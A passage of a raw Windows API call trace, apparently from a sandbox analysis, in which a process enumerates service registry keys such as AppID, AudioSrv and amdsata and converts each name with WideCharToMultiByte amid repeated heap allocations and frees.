lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.962] RegEnumKeyW (in: hKey=0x160, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de47b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0257.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.962] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.963] RegEnumKeyW (in: hKey=0x160, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.963] RegEnumKeyW (in: hKey=0x160, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de47b0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.963] RegEnumKeyW (in: hKey=0x160, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.963] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.963] RegEnumKeyW (in: hKey=0x160, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.964] RegEnumKeyW (in: hKey=0x160, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.964] RegEnumKeyW (in: hKey=0x160, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.964] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.964] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.964] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0257.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.965] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.965] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de47b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.965] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0257.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.966] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de47b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.966] RegEnumKeyW (in: hKey=0x160, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.966] RegEnumKeyW (in: hKey=0x160, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de47b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.966] RegEnumKeyW (in: hKey=0x160, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0257.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.967] RegEnumKeyW (in: hKey=0x160, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de47b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.967] RegEnumKeyW (in: hKey=0x160, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.967] RegEnumKeyW (in: hKey=0x160, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de47b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0257.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.967] RegEnumKeyW (in: hKey=0x160, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.968] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.968] RegEnumKeyW (in: hKey=0x160, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0257.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.968] RtlAllocateHeap 